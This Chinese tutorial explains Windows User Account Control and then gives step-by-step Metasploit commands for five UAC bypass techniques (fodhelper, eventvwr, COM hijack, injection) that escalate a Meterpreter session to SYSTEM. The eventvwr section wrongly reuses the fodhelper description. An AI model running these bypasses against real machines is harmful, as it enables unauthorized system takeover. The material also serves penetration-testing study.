大家好,今天,我们将浅析用户帐户控制(简称UAC)。我们还将了解它如何保护你免受恶意软件的入侵,如若忽略UAC提示,可能会对你的系统造成不良影响。
一、用户账户控制(UAC)介绍
1. 什么是用户账户控制?
在Microsoft Windows Vista和Windows Server 2008操作系统中引入了结构良好的用户帐户控制,因为不必要的系统范围的更改是难以避免的,而UAC策略可以防止这种更改,并且只需要很少的工作量。
换句话说,它是Windows的一项安全功能,它可以让我来防止对操作系统进行未经授权的修改。UAC确保某些修改只能在administrator授权下才能进行。如果administrator不允许更改,则不会执行这些更改,Windows保持不变。
2. UAC工作原理?
UAC阻止程序执行涉及系统更改/特定任务的任何任务。除非尝试执行它们的进程以管理员权限运行,否则这些操作将无法运行。如果以管理员身份运行程序,它会具有更多权限,因为与未以管理员身份运行的程序相比,它的权限得到了提升。
没有管理员权限就无法完成的一些事情:
- 注册表修改(如果注册表项在HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)
- 加载设备驱动程序
- DLL注入
- 修改系统时间(时钟)
- 修改用户帐户控制设置(通过注册表,可以启用/禁用它,但你需要正确的权限才能执行此操作)
- 修改受保护的目录(例如Windows文件夹,Program Files)
- 计划任务(例如,以管理员权限自动启动)
UAC不会自动阻止恶意软件,目的并不是判断程序是否是恶意软件。是不是恶意软件还是得取决于用户。如果要以管理员权限执行程序,UAC将提醒用户并且需要用户进行确认。
二、绕过UAC的5种方法
首先对目标机器进行漏洞利用以获取meterpreter会话。获得meterpreter会话1后,输入以下命令以检查系统权限和特权。
- getsystem
- getuid
如果你没有系统/管理员权限,那么你就需要绕过目标系统的UAC保护。
1. Windows升级UAC保护绕过
此模块将通过进程注入利用受信任的发布者证书绕过Windows UAC。这将产生第二个shell,而且UAC保护已经关闭。
- msf > use exploit/windows/local/bypassuac
- msf exploit windows/local/bypassuac) > set session 1
- msf exploit(windows/local/bypassuac) > exploit
从下图可以看到,又建立了一个meterpreter会话2连接,现在输入getsystem和getuid两条命令来查看系统权限:
太好了,我们获得了NT AUTHORITY\SYSTEM权限。现在你只要输入shell命令,你就会进入一个具有管理员权限的命令行窗口。
2. Windows升级UAC保护绕过(内存注入)
此模块将通过进程注入利用受信任的发布者证书绕过Windows UAC。这将产生第二个shell,而且UAC保护已经关闭。此模块使用反射DLL注入技术仅删除DLLpayload二进制文件而不是删除标准技术中的三个单独的二进制文件。但是,它需要选择正确的体系结构(对于SYSWOW64系统也使用x64)。如果指定EXE :: Custom,你的DLL应该在单独的进程中启动payload后调用ExitProcess()。
- msf > use exploit/windows/local/bypassuac_injection
- msf exploit(windows/local/bypassuac_injection) > set session 1
- msf exploit(windows/local/bypassuac_injection) > exploit
从下图中可以看出,meterpreter 会话2已经成功打开,现在输入getsystem和getuid两条命令来查看权限。
最终,你也会拿到NT AUTHORITY\SYSTEM权限,现在只需要输入shell命令,就可以进入一个具有管理员权限的命令行窗口。
3. Windows升级UAC保护绕过(FodHelper注册表键值绕过)
此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。这将产生第二个shell,而且UAC保护已经关闭。此模块修改注册表项,但在调用payload后清除该项。该模块不要求payload的结构与OS匹配。如果指定EXE :: Custom,你的DLL应该在单独的进程中启动payload后调用ExitProcess()。
- msf > use exploit/windows/local/bypassuac_fodhelper
- msf exploit(windows/local/bypassuac_fodhelper) > set session 1
- msf exploit(windows/local/bypassuac_fodhelper) > exploit
从下图中,可以看到,meterpreter会话2已经成功打开,输入getsystem和getuid两条命令来查看权限
非常不错,我们获得了NT AUTHORITY\SYSTEM权限,输入shell命令,就能拿到管理员的命令行窗口了。
4. Windows升级UAC保护绕过(Eventvwr注册表键值绕过)
此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入自定义命令,这个命令将在启动Windows fodhelper.exe应用程序时调用来绕过Windows 10 UAC。这将产生第二个shell,而且UAC保护已经关闭。此模块修改注册表项,但在调用payload后清除该项。该模块不要求payload的结构与OS匹配。如果指定EXE :: Custom,你的DLL应该在单独的进程中启动payload后调用ExitProcess()。
执行命令如下:
- msf > use exploit/windows/local/bypassuac_eventvwr
- msf exploit(windows/local/bypassuac_eventvwr) > set session 1
- msf exploit(windows/local/bypassuac_eventvwr) > exploit
从下图中,可以看到,meterpreter会话2已经上线,输入getsystem和getuid两条命令来查看是否是system权限。
再一次,我们获取了NT AUTHORITY\SYSTEM权限。
5. Windows升级UAC保护绕过(COM Handler劫持绕过)
此模块将通过在HKCU配置单元中创建COM处理程序注册表项来绕过Windows UAC。加载某些高完整性进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话升级的payload。在payload调用后清除注册表项修改。
此模块要求payload的体系结构与OS匹配,但当前的低权限Meterpreter会话的体系结构并不相同。如果指定EXE :: Custom,你的DLL应该在单独的进程中启动payload后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果限制cmd.exe访问,则此模块将无法正常运行。
- msf > use exploit/windows/local/bypassuac_comhijack
- msf exploit(windows/local/bypassuac_comhijack) > set session 1
- msf exploit(windows/local/bypassuac_comhijack) > exploit
如下图所示,meterpreter会话2已经建立连接,输入getsystem和getuid两条命令来查看是否是system权限。
最终,还是得到了NT AUTHORITY\SYSTEM权限,同理,输入shell获取管理员权限的命令窗口。如此一来,我们便借助了metasploit 后渗透漏洞利用来绕过UAC保护了。